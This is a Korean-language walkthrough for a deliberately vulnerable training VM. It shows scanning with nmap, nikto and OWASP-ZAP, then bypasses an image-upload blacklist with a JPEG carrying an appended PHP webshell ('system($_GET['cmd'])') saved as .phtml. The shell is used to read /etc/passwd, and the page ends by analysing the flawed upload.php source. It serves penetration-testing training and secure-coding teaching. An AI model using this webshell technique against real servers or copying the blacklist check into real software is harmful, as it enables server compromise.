WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장

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WH-ImgShell-01 웹해킹훈련장 (이미지+PHP웹쉘) 실습 설명서

WH-ImgShell-01 훈련장은 이미지를 검증하지만 확장자 검증에 문제가 있을 때 발생할 수 있는 취약점을 다룬다. 실제 웹취약점 점검 작업에서 발견한 취약점이다. 게시판 첨부파일 중 이미지를 직접 출력하는 누리집이었으며, 확장자 대신 이미지의 해상도를 이미지 검증에 사용하고 있었다.

WH-ImgShell-01 훈련장 환경 구성

다음 ISO 파일을 다운로드 받아서 주인 운영체제 내의 적당한 위치에 저장한다.

WH-ImgShell-01 웹취약점 훈련장의 Live ISO 파일 (wh-imgshell-01.iso) (25.0MB)

VMWare Workstation Player나 VirtaulBox를 이용하여 가상머신의 손님 운영체제로 라이브 ISO를 부팅한다. 손님 OS의 메모리 용량은 512MB 이상이면 된다. 부팅이 끝나면 root:root로 로그인하여 ifconfig로 IP주소를 확인한다.

wh-imgshell-01: homepage
[ ↑ WH-ImgShell-01 훈련장: 홈페이지]

위의 그림은 wh-imgshell-01.iso를 손님 OS로 부팅 후에 칼리 리눅스의 FireFox로 접속한 화면이다. 여기서 WH-ImgShell-01 훈련장의 IP주소는 192.168.189.238이다. 이 누리집은 사진을 올릴 수 있는 기능을 제공하고 있다.

칼리 리눅스에서 nmap, nikto, owasp-zap으로 서버와 홈페이지에 취약점이 존재하는 지 탐색해보자.

nmap 스캔 결과

root@kali:~# nmap -A 192.168.189.238

Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-13 21:25 KST
Nmap scan report for 192.168.189.238 (192.168.189.238)
Host is up (0.00043s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: \xEC\x82\xAC\xEC\xA7\x84 \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D\xB4\xEC\xA7\x80\xEC\xB7\xA8\xEC\x95\xBD\xEC\xA0\x90\xEC\xA0\x90\xEA\xB2\x80
MAC Address: 00:0C:29:E3:3F:16 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms 192.168.189.238 (192.168.189.238)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds
root@kali:~#

nmap 점검 결과에서, WH-ImgShell-01 훈련장의 운영체제는 리눅스(커널 2.6.X)이며 80 포트에서 Apache httpd를 이용하여 웹 서비스를 제공하고 있다는 것을 알 수 있다. 특별한 취약점은 발견되지 않았다.

nikto 스캔 결과

root@kali:~# nikto -host 192.168.189.238
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.189.238
+ Target Hostname:    192.168.189.238
+ Target Port:        80
+ Start Time:         2017-01-13 21:31:12 (GMT9)
---------------------------------------------------------------------------
+ Server: Apache
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ 7535 requests: 0 error(s) and 1 item(s) reported on remote host
+ End Time:           2017-01-13 21:31:23 (GMT9) (11 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
root@kali:~#

nikto 점검 결과에서는 특이사항이 없다.

OWASP-ZAP 점검 결과

wh-imgshell-01: zaproxy quick start result
[ ↑ WH-ImgShell-01 훈련장: OWASP-ZAP 빠른시작 점검 결과 ]

OWASP-ZAP의 "빠른 시작"을 이용한 점검 결과에서는 "사설IP주소 노출"(Private IP Disclosure) 취약점이 발견되었다. 이 항목에 대해서 OWASP-ZAP는

A private IP such as 10.x.x.x, 172.x.x.x, 192.168.x.x has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.

라고 설명하고 있다. 10.x.x.x, 172.x.x.x, 192.168.x.x의 IP 대역은 사설IP 주소로 노출될 경우에는 내부 네트워크 침투에 도움이 될 수 있다는 뜻이다. WH-ImgShell-01이 사설 IP주소를 사용하기 때문에 탐지되는 항목이다. 이 실습에서는 의미가 없다.

nmap, nikto, owasp-zap 등과 같은 공개용 취약점 점검도구로는 별다른 취약점을 찾을 수 없었다.

수동점검

홈페이지의 이미지 URL을 보면

http://192.168.189.238/userImages/14634864820.11044400.jpg
http://192.168.189.238/userImages/14634864950.13108600.jpg

의 2개가 발견된다. 모두 JPG 이미지이다.

"대부분의 파일 허용"이라는 문구가 있어서 평문파일(.txt 확장자), HWP파일(.hwp 확장자) 등을 업로드하였으나 서버에 등록된 단서가 포작되지 않았다. 아마도 이미지만을 허용하는 것으로 보인다. 작은 이미지(english.jpg)를 업로드하였다.

wh-imgshell-01: jpg image uploaded
[ ↑ WH-ImgShell-01 훈련장: JPG 확장자 이미지 업로드 성공 ]

위 그림에서 보듯이 english.jpg 파일이 서버에 저장되었으며 누리집에서 직접 확인할 수 있다. (간단한 붙임말에 한글을 입력할 경우에는 - 아마도 인코딩 처리에 있어서 - 문제가 있었다.)

확장자 검증 기능을 점검해보자.

root@kali:~# cp english.jpg english.php
root@kali:~# cp english.jpg english.php3
root@kali:~# cp english.jpg english.php4

위와 같이 english.jpg를 english.php, english.php3, english.php4로 복사하였다. 단순하게 확장자 검증 기능을 점검할 때 이러한 방식을 사용할 수 있다(실제 점검에서는 HTTP 프록시에서 확장자를 변경해도 된다). 세 개의 파일을 업로드하였다.

english.php와 english.php3는 업로드되었다는 정황이 포착되지 않았다. english.php4는 서버에 저장되었다.

wh-imgshell-01: jpg image with PHP4 ext uploaded
[ ↑ WH-ImgShell-01 훈련장: php4 확장자 이미지 업로드 성공 ]

위의 그림에서 english.php4는 서버에 저장되어 이미지로 출력되는 것을 확인할 수 있다. PHP 웹쉘을 등록할 수 있는 가능성이 있다.

php4 확장자를 가지는 파일이 PHP로 해석되는 지 확인하기 위해서 english.php4 파일의 끝에 PHP 코드를 덧붙인다.

root@kali:~# vi english.php4
root@kali:~# cat english.php4
����JFIF��C	

		





		

��C
                   	
                        ��T����;!1"2AQU��Saq����36RVdt�����1Q!1�ARS"aq��2C���
                                                                                        ?�s�N�/�E�R�
                                                                                                         �H5B�RTȔ��6�ǵ�_�M.��&�ʟ(�i4;8U5��mE����8����K���d�թ��"H�j����<������rv�$����r�.�GD����r�bL�پ`I��]�{.i=;G(d�]�7i�_���"Q�1����j�+�N�\p�q>{�!�sS�1#�n÷�v��'2i1=@(D�:��)�8
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   ?^�j��&�/��A%�iӸ�e�,�6�7��>�U�7
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:�]\Mk�ۍ�͓NN�H-�l��o�d��zEn�Ēd�h������#�=c�En_�)�|�MӷB������H�J��{�) q������m�xhh�5G'�O��g�b"��P�c[Q&�7$�W���.N�[vVHY���Xj���X>=ON���U����a&�,��1�@���i5y)|S;.���2��ۯ>���Q��;��&_�t�Ѣ�,���#;*0 ���9���wc�%�pwl��t?\?�o&4]����g�OqʌwC�����Ɠ���h8���C��!Z�T�]��p�D�T�0�_���rjZ���+K�N!��G�^�GU�O.���$�o۬�_�o������Li4�($��QK�9�p!����x��(��:���H�
b"�%]��X|Z���2��ub'�zr��CYXl9s���;(q�c�Q��5�m
�D&%�P,�>�C!��d�v)�($P{����@�a�A*7S��㐩���'D��D
��'��djڪ��O�Li#a���0lxOu�x�cI8��g���!�G|S������=���ɍ$l �����
                                       ��C��  ����h�D�I�Q����7L�[UG'��
9Sk[�s��l����8�H���$�DL���(�@  ʖ�������                                  ?.
<pre><?php system($_GET['cmd']) ?>
root@kali:~#

위의 예에서는 칼리리눅스의 vi 편집기로 english.php4 파일을 열어서 파일의 끝에 <pre><?php system($_GET['cmd']) ?>라는 PHP 코드 문자열을 덧붙였다. 그리고 이 파일을 WH-ImgShell-01 훈련장에 다시 업로드한다.

이 파일은 업로드 후에 이미지로 출력이 되었다. Firefox에서 이미지에 오른쪽 마우스 단추를 눌러서 Copy Image Location를 선택하면 이미지의 URL을 복사할 수 있다. 확인한 URL은 http://192.168.189.238/userImages/14843448370.44638500.php4이었다.

curl을 이용하여 이 URL에 접속하여 PHP 코드가 어떻게 처리되는 지 살펴보자.

root@kali:~# curl http://192.168.189.238/userImages/14843448370.44638500.php4 2> /dev/null | tail -2
�D&%�P,�>�C!��d�v)�($P{����@�a�A*7S��㐩���'D��D
��'��djڪ��O�Li#a���0lxOu�x�cI8��g���!�G|S������=���ɍ$l �����
                                       ��C��  ����h�D�I�Q����7L�[UG'��
9Sk[�s��l����8�H���$�DL���(�@  ʖ�������                                  ?.
<pre><?php system($_GET['cmd']) ?>
root@kali:~#

서버로부터 <pre><?php system($_GET['cmd']) ?>가 그대로 전달되었다. PHP 코드가 실행되지 않았다. 이는 php4 확장자는 아파치 웹서버에서 PHP 파일로 처리하지 않는다는 뜻이다.

root@kali:~# cp english.php4 english.php5
root@kali:~# cp english.php4 english.phtml

php5, phtml 확장자를 점검하기 위해 위와 같이 파일을 복사하여 english.php5, english.phtml 파일을 만들었다. 두 파일을 업로드하여 위와 같은 확인 과정을 반복한다.

english.php5 파일은 업로드는 되었지만 english.php4와 마찬가지로 PHP 코드는 실행되지 않았다.

wh-imgshell-01: jpg image with phtml ext uploaded
[ ↑ WH-ImgShell-01 훈련장: phtml 확장자 이미지 업로드 성공 ]

위 그림과 같이 english.phtml 파일을 업로드하면 이미지로 출력하였다. 이 이미지의 URL은 http://192.168.189.238/userImages/14843451420.77732400.phtml이었다. curl을 이용하여 이 URL의 마지막 두 줄을 확인한다.

root@kali:~# curl http://192.168.189.238/userImages/14843451420.77732400.phtml 2> /dev/null | tail -2
�D&%�P,�>�C!��d�v)�($P{����@�a�A*7S��㐩���'D��D
��'��djڪ��O�Li#a���0lxOu�x�cI8��g���!�G|S������=���ɍ$l �����
                                       ��C��  ����h�D�I�Q����7L�[UG'��
9Sk[�s��l����8�H���$�DL���(�@  ʖ�������                                  ?.
<pre>root@kali:~#

PHP 코드가 사라졌다. 서버가 PHP 코드를 실행하고 그 결과만을 전달한 것이다. 이미지에 덧붙인 PHP 코드는 cmd 변수에 전달하는 운영체제 명령어를 실행하는 것이다.

root@kali:~# curl http://192.168.189.238/userImages/14843451420.77732400.phtml?cmd=cat+/etc/passwd 2> /dev/null | grep -a -A 100 "<pre>"
<pre>root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
root@kali:~#

curl을 이용하여 cat /etc/passwd 명령어 실행결과를 전달받는다. 결과는 이미지이므로 바이너리 코드이다. grep 명령어에 -a 옵션을 주어 바이너리에서 강제로 문자열을 탐색하게 한다. 그리고 <pre> 문자열을 찾아서 그 이후의 100줄(-A 100)을 출력하게 하였다. /etc/passwd 파일 내용을 확인할 수 있다. 이미지의 뒷부분에 덧붙인 PHP 코드가 엡쉘로서 온전하게 작동한다.

wh-imgshell-01: phtml exec
[ ↑ WH-ImgShell-01 훈련장: phtml 웹쉘 실행 - id; uname -a; ls -als ../; cat /etc/passwd ]

위의 그림은 파이어폭스로 PHP 웹쉘을 실행한 모습이다.

WH-ImgShell-01의 이미지 업로드 관련 PHP 소스 분석

이 훈련장의 파일 업로드 관련 PHP 소스(upload.php)를 살펴보자.

$extension = end( explode('.', $_FILES['userfile']['name']) );
if (strtolower($extension) == 'php' || strtolower($extension) == 'php3') {
    header('Location: ./');
    exit;
}

// check the image size
list($width, $height, $type, $attr) = getimagesize($_FILES['userfile']['tmp_name']);
if ($width == 0 || $height == 0) {	// image only
    header('Location: ./');	
    exit;
}

확장자 검증에서는 php와 php3 확장자의 업로드를 차단하고 있다. 그리고 PHP의 getimagesize() 함수를 이용하여 이미지 아닌 파일의 업로드도 차단하고 있다.

차단이 아니라 jpg, png 등의 이미지 확장자 파일만 업로드를 허용하였다면 PHP 웹쉘을 업로드할 수 있는 취약점이 발생하지 않았을 것이다.

[처음 작성한 날: 2017.01.13] [마지막으로 고친 날: 2017.01.14]

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